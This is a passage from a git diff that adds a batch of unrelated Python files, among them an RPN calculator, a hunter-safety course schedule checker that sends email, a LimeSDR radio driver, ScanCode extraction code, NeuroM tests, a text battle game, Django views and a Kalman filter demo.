RPNOperator(div_or_unknown, 2), + '^': RPNOperator(operator.pow, 2), + + # ARITHMETICS + 'SIN': RPNOperator(math.sin, 1), + 'COS': RPNOperator(math.cos, 1), + 'LOG': RPNOperator(math.log, 1), + 'EXP': RPNOperator(math.exp, 1), + 'SQRT': RPNOperator(math.sqrt, 1), + 'ATAN': RPNOperator(math.atan, 1), + 'DEG2RAD': RPNOperator(math.radians, 1), + 'RAD2DEG': RPNOperator(math.degrees, 1), + + 'FLOOR': RPNOperator(math.floor, 1), + 'CEIL': RPNOperator(math.ceil, 1), + 'ABS': RPNOperator(abs, 1), + + # BOOL + 'LT': RPNOperator(lambda a, b: int(operator.lt(a, b)), 2), + 'LE': RPNOperator(lambda a, b: int(operator.le(a, b)), 2), + 'GT': RPNOperator(lambda a, b: int(operator.gt(a, b)), 2), + 'GE': RPNOperator(lambda a, b: int(operator.ge(a, b)), 2), + 'EQ': RPNOperator(lambda a, b: int(operator.eq(a, b)), 2), + 'NE': RPNOperator(lambda a, b: int(operator.ne(a, b)), 2), + + #UN, ISINF + 'IF': RPNOperator(lambda a, b, c: b if isinstance(a, int) and a == 1 else c, 3), + + # COMPARE + 'MIN': RPNOperator(min, 2), + 'MAX': RPNOperator(max, 2), + # MINNAN, MAXNAN + 'LIMIT': RPNOperator(operator_limit, 3), +} + +class RPN(object): + + def calc(self, expression, vars=None): + vars = vars or {} + tokens = [] + + for x in expression if isinstance(expression, (list, tuple)) else expression.strip().split(): + if x in vars: + tokens.append(vars[x] if vars[x] is not None else Unknown) + elif x in OPERATORS or isinstance(x, (int, float)): + tokens.append(x) + else: + tokens.append(float(x) if '.' in x else int(x)) + + while len(tokens) > 1: + for i, token in enumerate(tokens): + if token in OPERATORS: + op = OPERATORS[token] + + assert i >= op.num_elems + + tokens = op(tokens, i) + break + + return tokens[0] diff --git a/pool/shard008/Python/0075689_fdchecker.py b/pool/shard008/Python/0075689_fdchecker.py new file mode 100644 index 0000000000000000000000000000000000000000..5120a44c5529d67c131f832241d56ff039df9d71 --- /dev/null +++ b/pool/shard008/Python/0075689_fdchecker.py @@ -0,0 +1,63 @@ +#!/bin/usr/env python + +__author__ = 'cdigiovanni' +import urllib2 +import pickle +import os +import sys +from subprocess import Popen, PIPE +from email.mime.text import MIMEText +from bs4 import BeautifulSoup + +class FieldDayChecker(object): + def __init__(self): + self.url = "http://www.dnr.illinois.gov/safety/EducationCourses/fieldday.htm" + self.html_page = self.get_page(self.url) + self.class_table = self.parse_page() + self.count = self.count_classes(self.class_table) + self.previous_count = None + + def get_page(self, url): + response = urllib2.urlopen(url) + html_page = response.read() + return html_page + + def parse_page(self): + soup = BeautifulSoup(self.html_page) + table = soup.table + return table + + def count_classes(self, table): + class_count = [] + for row in table.find_all("tr"): + class_count.append(row) + return len(class_count) - 1 + +def main(argv): + if len(argv) < 2: + print >> sys.stderr, "Usage: {0} youremail@email.com".format(sys.argv[0]) + exit(1) + home = os.path.expanduser("~") + checker = FieldDayChecker() + try: + file = open('%s/fdchecker.pkl' % home, 'r') + data = pickle.load(file) + checker.previous_count = data + except: + pass + file = open('%s/fdchecker.pkl' % home, 'w+') + pickle.dump(checker.count,file) + if checker.previous_count == None or checker.previous_count == checker.count: + exit(0) + elif checker.previous_count < checker.count: + msg = MIMEText("A new class has been added to the schedule\n%s" % checker.url) + else: + msg = MIMEText("A class has been dropped from the schedule\n%s" % checker.url) + msg['Subject'] = "Hunter Safety Course Schedule Update!" + msg['From'] = argv[1] + msg['To'] = argv[1] + p = Popen(["/usr/bin/sendmail", "-t"], stdin=PIPE) + p.communicate(msg.as_string()) + +if __name__ == "__main__": + main(sys.argv) diff --git a/pool/shard008/Python/0075699_LimeSDR.py b/pool/shard008/Python/0075699_LimeSDR.py new file mode 100644 index 0000000000000000000000000000000000000000..6da59f82a66ab8e5b125c0bcdabdddf901665f5f --- /dev/null +++ b/pool/shard008/Python/0075699_LimeSDR.py @@ -0,0 +1,145 @@ +from collections import OrderedDict +from multiprocessing import Array +from multiprocessing.connection import Connection + +import numpy as np + +from urh.dev.native.Device import Device +from urh.dev.native.lib import limesdr + + +class LimeSDR(Device): + SYNC_RX_CHUNK_SIZE = 32768 + SYNC_TX_CHUNK_SIZE = 32768 + + RECV_FIFO_SIZE = 1048576 + SEND_FIFO_SIZE = 8 * SYNC_TX_CHUNK_SIZE + CONTINUOUS_TX_CHUNK_SIZE = SYNC_TX_CHUNK_SIZE * 64 + + LIME_TIMEOUT_RECEIVE_MS = 10 + LIME_TIMEOUT_SEND_MS = 500 + + DEVICE_LIB = limesdr + ASYNCHRONOUS = False + DEVICE_METHODS = Device.DEVICE_METHODS.copy() + DEVICE_METHODS.update({ + Device.Command.SET_FREQUENCY.name: "set_center_frequency", + Device.Command.SET_BANDWIDTH.name: "set_lpf_bandwidth", + Device.Command.SET_RF_GAIN.name: "set_normalized_gain", + Device.Command.SET_CHANNEL_INDEX.name: "set_channel", + Device.Command.SET_ANTENNA_INDEX.name: "set_antenna" + }) + + DATA_TYPE = np.float32 + + @classmethod + def get_device_list(cls): + return limesdr.get_device_list() + + @classmethod + def adapt_num_read_samples_to_sample_rate(cls, sample_rate): + cls.SYNC_RX_CHUNK_SIZE = 16384 * int(sample_rate / 1e6) + cls.RECV_FIFO_SIZE = 16 * cls.SYNC_RX_CHUNK_SIZE + + @classmethod + def setup_device(cls, ctrl_connection: Connection, device_identifier): + ret = limesdr.open(device_identifier) + if not device_identifier: + ctrl_connection.send("OPEN:" + str(ret)) + else: + ctrl_connection.send("OPEN ({}):{}".format(device_identifier, ret)) + limesdr.disable_all_channels() + if ret != 0: + return False + + ret = limesdr.init() + ctrl_connection.send("INIT:" + str(ret)) + + return ret == 0 + + @classmethod + def init_device(cls, ctrl_connection: Connection, is_tx: bool, parameters: OrderedDict): + if not cls.setup_device(ctrl_connection, device_identifier=parameters["identifier"]): + return False + + limesdr.enable_channel(True, is_tx, parameters[cls.Command.SET_CHANNEL_INDEX.name]) + limesdr.set_tx(is_tx) + + for parameter, value in parameters.items(): + cls.process_command((parameter, value), ctrl_connection, is_tx) + + antennas = limesdr.get_antenna_list() + ctrl_connection.send("Current normalized gain is {0:.2f}".format(limesdr.get_normalized_gain())) + ctrl_connection.send("Current antenna is {0}".format(antennas[limesdr.get_antenna()])) + ctrl_connection.send("Current chip temperature is {0:.2f}°C".format(limesdr.get_chip_temperature())) + + return True + + @classmethod + def shutdown_device(cls, ctrl_connection, is_tx: bool): + limesdr.stop_stream() + limesdr.destroy_stream() + limesdr.disable_all_channels() + ret = limesdr.close() + ctrl_connection.send("CLOSE:" + str(ret)) + return True + + @classmethod + def prepare_sync_receive(cls, ctrl_connection: Connection): + ctrl_connection.send("Initializing stream...") + limesdr.setup_stream(cls.RECV_FIFO_SIZE) + ret = limesdr.start_stream() + ctrl_connection.send("Initialize stream:{0}".format(ret)) + return ret + + @classmethod + def receive_sync(cls, data_conn: Connection): + limesdr.recv_stream(data_conn, cls.SYNC_RX_CHUNK_SIZE, cls.LIME_TIMEOUT_RECEIVE_MS) + + @classmethod + def prepare_sync_send(cls, ctrl_connection: Connection): + ctrl_connection.send("Initializing stream...") + limesdr.setup_stream(cls.SEND_FIFO_SIZE) + ret = limesdr.start_stream() + ctrl_connection.send("Initialize stream:{0}".format(ret)) + return ret + + @classmethod + def send_sync(cls, data): + limesdr.send_stream(data, cls.LIME_TIMEOUT_SEND_MS) + + def __init__(self, center_freq, sample_rate, bandwidth, gain, if_gain=1, baseband_gain=1, + resume_on_full_receive_buffer=False): + super().__init__(center_freq=center_freq, sample_rate=sample_rate, bandwidth=bandwidth, + gain=gain, if_gain=if_gain, baseband_gain=baseband_gain, + resume_on_full_receive_buffer=resume_on_full_receive_buffer) + self.success = 0 + + def set_device_gain(self, gain): + super().set_device_gain(gain * 0.01) + + @property + def has_multi_device_support(self): + return True + + @property + def device_parameters(self): + return OrderedDict([(self.Command.SET_CHANNEL_INDEX.name, self.channel_index), + # Set Antenna needs to be called before other stuff!!! + (self.Command.SET_ANTENNA_INDEX.name, self.antenna_index), + (self.Command.SET_FREQUENCY.name, self.frequency), + (self.Command.SET_SAMPLE_RATE.name, self.sample_rate), + (self.Command.SET_BANDWIDTH.name, self.bandwidth), + (self.Command.SET_RF_GAIN.name, self.gain * 0.01), + ("identifier", self.device_serial)]) + + @staticmethod + def bytes_to_iq(buffer): + return np.frombuffer(buffer, dtype=np.float32).reshape((-1, 2), order="C") + + @staticmethod + def iq_to_bytes(samples: np.ndarray): + arr = Array("f", 2 * len(samples), lock=False) + numpy_view = np.frombuffer(arr, dtype=np.float32) + numpy_view[:] = samples.flatten(order="C") + return arr diff --git a/pool/shard008/Python/0075706_extract.py b/pool/shard008/Python/0075706_extract.py new file mode 100644 index 0000000000000000000000000000000000000000..3db76e1b8c7a9625f376ac155892fd3cc53c0c6d --- /dev/null +++ b/pool/shard008/Python/0075706_extract.py @@ -0,0 +1,195 @@ +# +# Copyright (c) 2015 nexB Inc. and others. All rights reserved. +# http://nexb.com and https://github.com/nexB/scancode-toolkit/ +# The ScanCode software is licensed under the Apache License version 2.0. +# Data generated with ScanCode require an acknowledgment. +# ScanCode is a trademark of nexB Inc. +# +# You may not use this software except in compliance with the License. +# You may obtain a copy of the License at: http://apache.org/licenses/LICENSE-2.0 +# Unless required by applicable law or agreed to in writing, software distributed +# under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR +# CONDITIONS OF ANY KIND, either express or implied. See the License for the +# specific language governing permissions and limitations under the License. +# +# When you publish or redistribute any data created with ScanCode or any ScanCode +# derivative work, you must accompany this data with the following acknowledgment: +# +# Generated with ScanCode and provided on an "AS IS" BASIS, WITHOUT WARRANTIES +# OR CONDITIONS OF ANY KIND, either express or implied. No content created from +# ScanCode should be considered or used as legal advice. Consult an Attorney +# for any legal advice. +# ScanCode is a free software code scanning tool from nexB Inc. and others. +# Visit https://github.com/nexB/scancode-toolkit/ for support and download. + +from __future__ import print_function, absolute_import + +from collections import namedtuple +from functools import partial +import logging +from os.path import abspath +from os.path import expanduser +from os.path import join + +from commoncode import fileutils +from commoncode import ignore +import extractcode +from extractcode import archive + +logger = logging.getLogger(__name__) +TRACE = False + +if TRACE: + import sys + logging.basicConfig(stream=sys.stdout) + logger.setLevel(logging.DEBUG) + + +""" +Extract archives and compressed files recursively to get the file content available for +further processing. This the high level extraction entry point. + +This is NOT a general purpose un-archiver. The code tries hard to do the right +thing, BUT the extracted files are not meant to be something that can be +faithfully re-archived to get an equivalent archive. The purpose instead is +to extract the content of the archives as faithfully and safely as possible to +make this content available for scanning: some paths may be altered. Some files +may be altered or skipped entirely. + +In particular: + + - Permissions and owners stored in archives are ignored entirely: The extracted + content is always owned and readable by the user who ran the extraction. + + - Special files are never extracted (such as FIFO, character devices, etc) + + - Symlinks may be replaced by plain file copies as if they were regular files. + Hardlinks may be recreated as regular files, not as hardlinks to the original + file. + + - Files and directories may be renamed when their name is a duplicate. And a + name may be considered a duplicate ignore upper and lower case mixes even + on case-sensitive file systems. In particular when an archive contains the + same file path several times, every paths will be extracted with different + files names, even though using a regular tool for extraction would have + overwritten previous paths with the last path. + + - Paths may be converted to a safe ASCII alternative that is portable across + OSes. + + - Symlinks, relative paths and absolute paths pointing outside of the archive + are replaced and renamed in such a way that all the extract content of an + archive exist under a single target extraction directory. This process + includes eventually creating "synthetic" or dummy paths that did not exist in + the original archive. +""" + + +""" +An ExtractEvent contains data about an archive extraction progress: + - `source` is the location of the archive being extracted + - `target` is the target location where things are extracted + - `done` is a boolean set to True when the extraction is done (even if failed). + - `warnings` is a mapping of extracted paths to a list of warning messages. + - `errors` is a list of error messages. +""" +ExtractEvent = namedtuple('ExtractEvent', 'source target done warnings errors') + + +def extract(location, kinds=extractcode.default_kinds, recurse=False): + """ + Walk and extract any archives found at `location` (either a file or + directory). Extract only archives of a kind listed in the `kinds` kind tuple. + + Return an iterable of ExtractEvent tuples for each extracted archive. This + can be used to track extraction progress: + + - one event is emitted just before extracting an archive. The ExtractEvent + warnings and errors are empty. The `done` flag is False. + + - one event is emitted right after extracting an archive. The ExtractEvent + warnings and errors contains warnings and errors if any. The `done` flag + is True. + + If `recurse` is True, extract recursively archives nested inside other + archives If `recurse` is false, then do not extract further an already + extracted archive identified by the corresponding extract suffix location. + + Note that while the original file system is walked top-down, breadth-first, + if recurse and a nested archive is found, it is extracted to full depth + first before resuming the file system walk. + """ + ignored = partial(ignore.is_ignored, ignores=ignore.default_ignores, unignores={}) + if TRACE: + logger.debug('extract:start: %(location)r recurse: %(recurse)r\n' % locals()) + abs_location = abspath(expanduser(location)) + for top, dirs, files in fileutils.walk(abs_location, ignored): + if TRACE: + logger.debug('extract:walk: top: %(top)r dirs: %(dirs)r files: r(files)r' % locals()) + + if not recurse: + if TRACE: + drs = set(dirs) + for d in dirs[:]: + if extractcode.is_extraction_path(d): + dirs.remove(d) + if TRACE: + logger.debug('extract:walk: not recurse: removed dirs:' + repr(drs.symmetric_difference(set(dirs)))) + for f in files: + loc = join(top, f) + if not recurse and extractcode.is_extraction_path(loc): + if TRACE: + logger.debug('extract:walk not recurse: skipped file: %(loc)r' % locals()) + continue + + if not archive.should_extract(loc, kinds): + if TRACE: + logger.debug('extract:walk: skipped file: not should_extract: %(loc)r' % locals()) + continue + + target = join(abspath(top), extractcode.get_extraction_path(loc)) + if TRACE: + logger.debug('extract:target: %(target)r' % locals()) + for xevent in extract_file(loc, target, kinds): + if TRACE: + logger.debug('extract:walk:extraction event: %(xevent)r' % locals()) + yield xevent + + if recurse: + if TRACE: + logger.debug('extract:walk: recursing on target: %(target)r' % locals()) + for xevent in extract(target, kinds, recurse): + if TRACE: + logger.debug('extract:walk:recurse:extraction event: %(xevent)r' % locals()) + yield xevent + + +def extract_file(location, target, kinds=extractcode.default_kinds): + """ + Extract a single archive at `location` in the `target` directory if it is + of a kind supported in the `kinds` kind tuple. + """ + warnings = [] + errors = [] + extractor = archive.get_extractor(location, kinds) + if TRACE: + logger.debug('extract_file: extractor: for: %(location)r with kinds: %(kinds)r : ' % locals() + + getattr(extractor, '__module__', '') + + '.' + getattr(extractor, '__name__', '')) + if extractor: + yield ExtractEvent(location, target, done=False, warnings=[], errors=[]) + try: + # extract first to a temp directory. + # if there is an error, the extracted files will not be moved + # to target + tmp_tgt = fileutils.get_temp_dir('extract') + abs_location = abspath(expanduser(location)) + warnings.extend(extractor(abs_location, tmp_tgt)) + fileutils.copytree(tmp_tgt, target) + fileutils.delete(tmp_tgt) + except Exception, e: + if TRACE: + logger.debug('extract_file: ERROR: %(location)r: %(errors)r, %(e)r.\n' % locals()) + errors = [str(e).strip(' \'"')] + finally: + yield ExtractEvent(location, target, done=True, warnings=warnings, errors=errors) diff --git a/pool/shard008/Python/0075713_GetProductsAlternativesWrapper.py b/pool/shard008/Python/0075713_GetProductsAlternativesWrapper.py new file mode 100644 index 0000000000000000000000000000000000000000..e1fdbd07b7a93774e9a070db7bd19901847a0143 --- /dev/null +++ b/pool/shard008/Python/0075713_GetProductsAlternativesWrapper.py @@ -0,0 +1,87 @@ +# -*- coding: utf-8 -*- + +""" + InformationMachineAPILib.Models.GetProductsAlternativesWrapper + + +""" +from InformationMachineAPILib.APIHelper import APIHelper +from InformationMachineAPILib.Models.ProductAlternativesRecord import ProductAlternativesRecord +from InformationMachineAPILib.Models.MetaBase import MetaBase + +class GetProductsAlternativesWrapper(object): + + """Implementation of the 'GetProductsAlternativesWrapper' model. + + TODO: type model description here. + + Attributes: + result (list of ProductAlternativesRecord): TODO: type description + here. + meta (MetaBase): TODO: type description here. + + """ + + def __init__(self, + **kwargs): + """Constructor for the GetProductsAlternativesWrapper class + + Args: + **kwargs: Keyword Arguments in order to initialise the + object. Any of the attributes in this object are able to + be set through the **kwargs of the constructor. The values + that can be supplied and their types are as follows:: + + result -- list of ProductAlternativesRecord -- Sets the attribute result + meta -- MetaBase -- Sets the attribute meta + + """ + # Set all of the parameters to their default values + self.result = None + self.meta = None + + # Create a mapping from API property names to Model property names + replace_names = { + "result": "result", + "meta": "meta", + } + + # Parse all of the Key-Value arguments + if kwargs is not None: + for key in kwargs: + # Only add arguments that are actually part of this object + if key in replace_names: + setattr(self, replace_names[key], kwargs[key]) + + # Other objects also need to be initialised properly + if "result" in kwargs: + # Parameter is an array, so we need to iterate through it + self.result = list() + for item in kwargs["result"]: + self.result.append(ProductAlternativesRecord(**item)) + + # Other objects also need to be initialised properly + if "meta" in kwargs: + self.meta = MetaBase(**kwargs["meta"]) + + def resolve_names(self): + """Creates a dictionary representation of this object. + + This method converts an object to a dictionary that represents the + format that the model should be in when passed into an API Request. + Because of this, the generated dictionary may have different + property names to that of the model itself. + + Returns: + dict: The dictionary representing the object. + + """ + # Create a mapping from Model property names to API property names + replace_names = { + "result": "result", + "meta": "meta", + } + + retval = dict() + + return APIHelper.resolve_names(self, replace_names, retval) \ No newline at end of file diff --git a/pool/shard008/Python/0075714_test_morphtree.py b/pool/shard008/Python/0075714_test_morphtree.py new file mode 100644 index 0000000000000000000000000000000000000000..ea4076d173cd99b15b952b836020c7519224cf75 --- /dev/null +++ b/pool/shard008/Python/0075714_test_morphtree.py @@ -0,0 +1,176 @@ +# Copyright (c) 2015, Ecole Polytechnique Federale de Lausanne, Blue Brain Project +# All rights reserved. +# +# This file is part of NeuroM +# +# Redistribution and use in source and binary forms, with or without +# modification, are permitted provided that the following conditions are met: +# +# 1. Redistributions of source code must retain the above copyright +# notice, this list of conditions and the following disclaimer. +# 2. Redistributions in binary form must reproduce the above copyright +# notice, this list of conditions and the following disclaimer in the +# documentation and/or other materials provided with the distribution. +# 3. Neither the name of the copyright holder nor the names of +# its contributors may be used to endorse or promote products +# derived from this software without specific prior written permission. +# +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND +# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY +# DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; +# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND +# ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +from io import StringIO +from pathlib import Path + +import numpy as np +from neurom import load_morphology +from neurom.check import morphtree as mt + +DATA_PATH = Path(__file__).parent.parent / 'data' +SWC_PATH = DATA_PATH / 'swc' + + +def _generate_back_track_tree(n, dev): + points = np.array(dev) + np.array([1, 3 if n == 0 else -3, 0]) + + m = load_morphology(StringIO(u""" + ((CellBody) + (0 0 0 0.4)) + + ((Dendrite) + (0 0 0 0.4) + (0 1 0 0.3) + (0 2 0 0.28) + ( + (0 2 0 0.28) + (1 3 0 0.3) + (2 4 0 0.22) + | + (0 2 0 0.28) + (1 -3 0 0.3) + (2 -4 0 0.24) + ({0} {1} {2} 0.52) + (3 -5 0 0.2) + (4 -6 0 0.2) + )) + """.format(*points.tolist())), reader='asc') + + return m + + +def test_is_monotonic(): + # tree with decreasing radii + m = load_morphology(StringIO(u""" + ((Dendrite) + (0 0 0 1.0) + (0 0 0 0.99) + ( + (0 0 0 0.99) + (0 0 0 0.1) + | + (0 0 0 0.5) + (0 0 0 0.2) + ))"""), reader='asc') + assert mt.is_monotonic(m.neurites[0], 1e-6) + + # tree with equal radii + m = load_morphology(StringIO(u""" + ((Dendrite) + (0 0 0 1.0) + (0 0 0 1.0) + ( + (0 0 0 1.0) + (0 0 0 1.0) + | + (0 0 0 1.0) + (0 0 0 1.0) + ))"""), reader='asc') + assert mt.is_monotonic(m.neurites[0], 1e-6) + + # tree with increasing radii + m = load_morphology(StringIO(u""" + ((Dendrite) + (0 0 0 1.0) + (0 0 0 1.0) + ( + (0 0 0 1.1) + (0 0 0 1.1) + | + (0 0 0 0.3) + (0 0 0 0.1) + ))"""), reader='asc') + assert not mt.is_monotonic(m.neurites[0], 1e-6) + + # Tree with larger child initial point + m = load_morphology(StringIO(u""" + ((Dendrite) + (0 0 0 1.0) + (0 0 0 0.75) + (0 0 0 0.5) + (0 0 0 0.25) + ( + (0 0 0 0.375) + (0 0 0 0.125) + (0 0 0 0.625) + ))"""), reader='asc') + assert not mt.is_monotonic(m.neurites[0], 1e-6) + + +def test_is_flat(): + m = load_morphology(Path(SWC_PATH, 'Neuron.swc')) + assert not mt.is_flat(m.neurites[0], 1e-6, method='tolerance') + assert not mt.is_flat(m.neurites[0], 0.1, method='ratio') + + +def test_is_back_tracking(): + # case 1: a back-track falls directly on a previous node + t = _generate_back_track_tree(1, (0., 0., 0.)) + assert mt.is_back_tracking(t.neurites[0]) + + # case 2: a zigzag is close to another segment + t = _generate_back_track_tree(1, (0.1, -0.1, 0.02)) + assert mt.is_back_tracking(t.neurites[0]) + + # case 3: a zigzag is close to another segment 2 + t = _generate_back_track_tree(1, (-0.2, 0.04, 0.144)) + assert mt.is_back_tracking(t.neurites[0]) + + # case 4: a zigzag far from civilization + t = _generate_back_track_tree(1, (10., -10., 10.)) + assert not mt.is_back_tracking(t.neurites[0]) + + # case 5: a zigzag on another section + # currently zigzag is defined on the same section + # thus this test should not be true + t = _generate_back_track_tree(0, (-0.2, 0.04, 0.144)) + assert not mt.is_back_tracking(t.neurites[0]) + + +def test_get_flat_neurites(): + m = load_morphology(Path(SWC_PATH, 'Neuron.swc')) + assert len(mt.get_flat_neurites(m, 1e-6, method='tolerance')) == 0 + assert len(mt.get_flat_neurites(m, 0.1, method='ratio')) == 0 + + m = load_morphology(Path(SWC_PATH, 'Neuron-flat.swc')) + assert len(mt.get_flat_neurites(m, 1e-6, method='tolerance')) == 4 + assert len(mt.get_flat_neurites(m, 0.1, method='ratio')) == 4 + + +def test_get_nonmonotonic_neurites(): + m = load_morphology(Path(SWC_PATH, 'Neuron.swc')) + assert len(mt.get_nonmonotonic_neurites(m)) == 4 + + m = load_morphology(Path(SWC_PATH, 'Neuron-monotonic.swc')) + assert len(mt.get_nonmonotonic_neurites(m)) == 0 + + +def test_get_back_tracking_neurites(): + m = load_morphology(Path(SWC_PATH, 'Neuron.swc')) + assert len(mt.get_back_tracking_neurites(m)) == 4 diff --git a/pool/shard008/Python/0075718_game.py b/pool/shard008/Python/0075718_game.py new file mode 100644 index 0000000000000000000000000000000000000000..3de5e46165c1183b3553646128b40485e5bd2706 --- /dev/null +++ b/pool/shard008/Python/0075718_game.py @@ -0,0 +1,130 @@ +import sys,time,functions,getpass # Imports +from random import randint +from config import * +from player import Player +from enemies import * +from states import States + +# runs the game +def runGame(): + playerClasses = ['Fighter', 'Thief'] # possible player classes + enemyClasses = ['HOF','LOF','DEW','DEC','DEA'] # possible enemy classes (no used) + frontRowPossibilities = ['HOF','LOF'] # possible front row enemy classes + backRowPossibilities = ['DEW','DEC','DEA'] # possible back row enemy classes + commandPossibilities = ['Attack','Defend', 'Save', 'Exit'] # player actions + + functions.clearScreen() + print 'Welcome to AI Battle!' + print '------------------------------------------' + print 'Load Game?' # load a previous game? + allEnemies = None + thePlayer = None + load = raw_input('(y/n)> ') + if load.lower() in afermativeStrings: + allEnemies,thePlayer = functions.loadGame() # load a saved game + else: + print 'Please pick your player class! (pick number NOT name)' + while True: # used to pick player classes + for i in range(len(playerClasses)): + print '[' + str(i)+ ']:' + ' ' + playerClasses[i] + try: + playerClassChoice = int(raw_input('>')) + if playerClassChoice >= 0 and playerClassChoice <= len(playerClasses): + break + else: + raise ValueError + except ValueError: # incorrect input + print 'Incorrect Choice! Please Try again!' + + thePlayer = Player(playerClasses[playerClassChoice]) # init player + thePlayer.printInfo() + + print 'How many enemies do you want to fight?' + while True: # used to pick numbers of enemies + try: + enemyCount = int(raw_input('>')) + break + except ValueError: + continue + + frontRowCount = (enemyCount / 2) + 1 # there is always more front row enemies than back row enemies + backRowCount = enemyCount - frontRowCount + functions.endofLine() + + print 'Picking Enemies!' + functions.endofLine() + frontRow = [] # init front and back rows + backRow = [] + + for i in range(frontRowCount): # randomly pick front row enemies + tempEnemyIndex = randint(0,len(frontRowPossibilities)-1) + frontRow.append(Enemy(frontRowPossibilities[tempEnemyIndex],i)) + for i in range(backRowCount): # randomly pick back row enemies + tempEnemyIndex = randint(0,len(backRowPossibilities)-1) + backRow.append(Enemy(backRowPossibilities[tempEnemyIndex],i+len(frontRow))) + + initState = States('Attack!') # initialize enemey FSM + allEnemies = Enemies(frontRow,backRow,initState) # create enemy team object + + sys.stdout.write('Starting Game!') + functions.endofLine() + command = '' + functions.endofLine() + while command.lower() not in exitStrings: + if len(allEnemies.getAllEnemies()) <= 0: # winning condition + print 'YOU WIN!' + break; + elif thePlayer.currentHP <= 0: # losing condition + print 'YOU LOST!' + break; + wait = getpass.getpass('press enter key to continue...') # pauses game + functions.clearScreen() + thePlayer = functions.resetPlayer(thePlayer) # remove buffs and such fom playerr + functions.endofLine() + allEnemies.printEnemies() + functions.endofLine() + thePlayer.printInfoLine() + functions.endofLine() + print 'Commands!' + for i in range(len(commandPossibilities)): # print possible player commands + print '[' + str(i) + '] ' + commandPossibilities[i] + try: + command = int(raw_input('>')) # pick command + if command >= len(commandPossibilities) or command < 0: + raise ValueError + except ValueError: # error checking + functions.tryAgain() + continue + functions.clearScreen() + command = commandPossibilities[command] + if command == 'Attack': # attack command + print 'Attack Who?' + for x in allEnemies.getAllEnemies(): # get target to attack + print '[' + str(x.enemyId) + '] ' + x.enemyType + try: + enemyToAttackID = int(raw_input('>')) + if not allEnemies.validId(enemyToAttackID): + raise ValueError + except ValueError: # error checking + functions.tryAgain() + continue + enemyToAttack = allEnemies.getEnemey(enemyToAttackID) + thePlayer,allEnemies= functions.Attack(thePlayer,enemyToAttack,allEnemies,True) + if command == 'Defend': # defend command + thePlayer = functions.Defend(thePlayer,True) + print 'You are Defending!' + print 'current Stats:' + thePlayer.printInfo('--> ') + if command == 'Save': # save game using pickle + functions.saveGame(allEnemies,thePlayer) # save the current game + break + if command.lower() not in exitStrings: # amke surre the user did not exit + allEnemies.resetEnemies() # reset enemeies (rremove defence buffs and AttackBuff) + allEnemies.removeDeadEnemeies() # RRemove the dead enemies + functions.endofLine() + functions.endofLine() + thePlayer,allEnemies = functions.enemyTurn(thePlayer,allEnemies) # take the enemy turn + functions.endofLine() + +if __name__ == "__main__": + runGame() # run the game \ No newline at end of file diff --git a/pool/shard008/Python/0075721_views.py b/pool/shard008/Python/0075721_views.py new file mode 100644 index 0000000000000000000000000000000000000000..c6dc6bc4e7c4e7513b2343532c14c02975390e16 --- /dev/null +++ b/pool/shard008/Python/0075721_views.py @@ -0,0 +1,61 @@ +from django.shortcuts import render +from local_core.views import ProtectedListView +from django.views.generic.detail import SingleObjectMixin +from django.views.generic.edit import CreateView, FormMixin +from .models import Period, Job +from .forms import PeriodForm +import datetime +from django.utils import timezone +import logging + +from timecounter.parameters import * + +# Create your views here. + + +class JobsListView(FormMixin, ProtectedListView): + model = Job + template_name = "dashboard/dashboard_home.html" + context_object_name = "jobs" + + form_class = PeriodForm + + paginate_by = JOBS["pagination"] + + def get_context_data(self, **kwargs): + context = super(JobsListView, self).get_context_data(**kwargs) + context["form"] = self.get_form() + + return context + + def get_queryset(self): + + return Job.objects.filter(user=self.request.user) + + def get_form_kwargs(self): + kwargs = super(JobsListView, self).get_form_kwargs() + kwargs['user'] = self.request.user + return kwargs + + +class PeriodsListView(SingleObjectMixin, ProtectedListView): + model = Period + + def get(self, request, *args, **kwargs): + self.object = self.get_object(queryset=Job.objects.all()) + return super(PeriodsListView, self).get(request, *args, **kwargs) + + paginate_by = PERIODS["pagination"] + + def get_queryset(self): + now = timezone.now() + + default_from = datetime.date(now.year, now.month, 1) + + default_to = datetime.date(now.year, now.month, 30) + + from_date = self.kwargs.get('from_date', default_from) + to_date = self.kwargs.get('to_date', default_to) + job = self.kwargs.get('pk') + return Period.objects.filter(job=job, job__user=self.request.user, date__lt=to_date, date__gt=from_date).order_by("date").order_by("beginning").reverse() + diff --git a/pool/shard008/Python/0075723_test_pylab.py b/pool/shard008/Python/0075723_test_pylab.py new file mode 100644 index 0000000000000000000000000000000000000000..b0a92c2e2c8dc3631ad6174fe023f1873213c571 --- /dev/null +++ b/pool/shard008/Python/0075723_test_pylab.py @@ -0,0 +1,52 @@ +#coding:utf-8 +import numpy +import pylab + +#这里是假设A=1,H=1的情况 + +# intial parameters +n_iter = 50 +sz = (n_iter,) # size of array +x = -0.37727 # truth value (typo in example at top of p. 13 calls this z) +z = numpy.random.normal(x,0.1,size=sz) # observations (normal about x, sigma=0.1) + +Q = 1e-5 # process variance + +# allocate space for arrays +xhat=numpy.zeros(sz) # a posteri estimate of x +P=numpy.zeros(sz) # a posteri error estimate +xhatminus=numpy.zeros(sz) # a priori estimate of x +Pminus=numpy.zeros(sz) # a priori error estimate +K=numpy.zeros(sz) # gain or blending factor + +R = 0.1**2 # estimate of measurement variance, change to see effect + +# intial guesses +xhat[0] = 0.0 +P[0] = 1.0 + +for k in range(1,n_iter): + # time update + xhatminus[k] = xhat[k-1] #X(k|k-1) = AX(k-1|k-1) + BU(k) + W(k),A=1,BU(k) = 0 + Pminus[k] = P[k-1]+Q 